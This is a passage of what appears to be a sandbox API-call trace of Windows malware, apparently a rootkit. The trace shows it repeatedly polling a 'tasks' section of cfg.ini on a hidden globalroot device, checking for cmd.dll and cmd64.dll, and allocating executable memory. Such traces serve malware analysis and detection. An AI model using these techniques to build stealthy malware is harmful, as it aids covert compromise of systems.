(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.847] KeLeaveCriticalRegion () [0119.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.847] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.847] KeEnterCriticalRegion () [0119.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.847] ExFreePoolWithTag (P=0xfffffa8003bcc970, Tag=0x0) [0119.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.847] KeLeaveCriticalRegion () [0119.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.847] ReleaseMutex (hMutex=0xf0) returned 1 [0119.847] Sleep (dwMilliseconds=0x927c0) [0119.863] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.863] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.863] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.863] KeEnterCriticalRegion () [0119.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.863] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.863] IdePortDispatch () returned 0x103 [0119.863] KeWaitForMutexObject () returned 0x0 [0119.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.863] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.863] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.863] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.863] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.863] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9e10 [0119.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.863] KeLeaveCriticalRegion () [0119.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.863] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.863] KeEnterCriticalRegion () [0119.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.863] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.863] KeLeaveCriticalRegion () [0119.864] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.864] KeEnterCriticalRegion () [0119.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.864] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.864] IdePortDispatch () returned 0x103 [0119.864] KeWaitForMutexObject () returned 0x0 [0119.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.864] KeLeaveCriticalRegion () [0119.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.864] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.864] KeEnterCriticalRegion () [0119.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a02000 [0119.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.864] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.864] IdePortDispatch () returned 0x103 [0119.864] KeWaitForMutexObject () returned 0x0 [0119.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.865] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.865] IdePortDispatch () returned 0x103 [0119.865] KeWaitForMutexObject () returned 0x0 [0119.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.865] KeLeaveCriticalRegion () [0119.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.865] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.865] KeEnterCriticalRegion () [0119.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.865] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.865] KeLeaveCriticalRegion () [0119.865] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.865] KeEnterCriticalRegion () [0119.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.865] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.865] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.865] KeLeaveCriticalRegion () [0119.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.866] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.866] KeEnterCriticalRegion () [0119.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.866] ExFreePoolWithTag (P=0xfffffa8003bc9e10, Tag=0x0) [0119.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.866] KeLeaveCriticalRegion () [0119.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.866] ReleaseMutex (hMutex=0xf0) returned 1 [0119.866] Sleep (dwMilliseconds=0x927c0) [0119.880] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.880] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.880] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.881] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.881] KeEnterCriticalRegion () [0119.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.881] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.881] IdePortDispatch () returned 0x103 [0119.881] KeWaitForMutexObject () returned 0x0 [0119.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.881] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.881] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.881] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.881] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.881] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.881] KeLeaveCriticalRegion () [0119.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.881] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.881] KeEnterCriticalRegion () [0119.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.881] KeLeaveCriticalRegion () [0119.881] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.881] KeEnterCriticalRegion () [0119.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.881] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.881] IdePortDispatch () returned 0x103 [0119.881] KeWaitForMutexObject () returned 0x0 [0119.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.882] KeLeaveCriticalRegion () [0119.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.882] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.882] KeEnterCriticalRegion () [0119.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.882] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b07000 [0119.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.882] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.882] IdePortDispatch () returned 0x103 [0119.882] KeWaitForMutexObject () returned 0x0 [0119.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.882] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.882] IdePortDispatch () returned 0x103 [0119.883] KeWaitForMutexObject () returned 0x0 [0119.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.883] KeLeaveCriticalRegion () [0119.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.883] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.883] KeEnterCriticalRegion () [0119.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.883] KeLeaveCriticalRegion () [0119.883] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.883] KeEnterCriticalRegion () [0119.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.883] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.883] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.883] KeLeaveCriticalRegion () [0119.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.884] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.884] KeEnterCriticalRegion () [0119.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.884] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.884] KeLeaveCriticalRegion () [0119.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.884] ReleaseMutex (hMutex=0xf0) returned 1 [0119.884] Sleep (dwMilliseconds=0x927c0) [0119.899] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.899] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.899] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.899] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.899] KeEnterCriticalRegion () [0119.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.899] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.899] IdePortDispatch () returned 0x103 [0119.899] KeWaitForMutexObject () returned 0x0 [0119.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.899] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.899] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.899] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0119.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.899] KeLeaveCriticalRegion () [0119.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.899] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.899] KeEnterCriticalRegion () [0119.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.900] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.900] KeLeaveCriticalRegion () [0119.900] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.900] KeEnterCriticalRegion () [0119.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.900] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.900] IdePortDispatch () returned 0x103 [0119.900] KeWaitForMutexObject () returned 0x0 [0119.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.900] KeLeaveCriticalRegion () [0119.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.900] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.900] KeEnterCriticalRegion () [0119.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0c000 [0119.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.900] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.900] IdePortDispatch () returned 0x103 [0119.900] KeWaitForMutexObject () returned 0x0 [0119.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.900] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.901] IdePortDispatch () returned 0x103 [0119.901] KeWaitForMutexObject () returned 0x0 [0119.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.901] KeLeaveCriticalRegion () [0119.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.901] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.901] KeEnterCriticalRegion () [0119.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.901] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.901] KeLeaveCriticalRegion () [0119.901] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.901] KeEnterCriticalRegion () [0119.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.901] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.901] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9b50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.901] KeLeaveCriticalRegion () [0119.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.901] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.901] KeEnterCriticalRegion () [0119.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.902] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0119.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.902] KeLeaveCriticalRegion () [0119.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.902] ReleaseMutex (hMutex=0xf0) returned 1 [0119.902] Sleep (dwMilliseconds=0x927c0) [0119.917] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.917] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.917] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.917] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.917] KeEnterCriticalRegion () [0119.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.917] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) 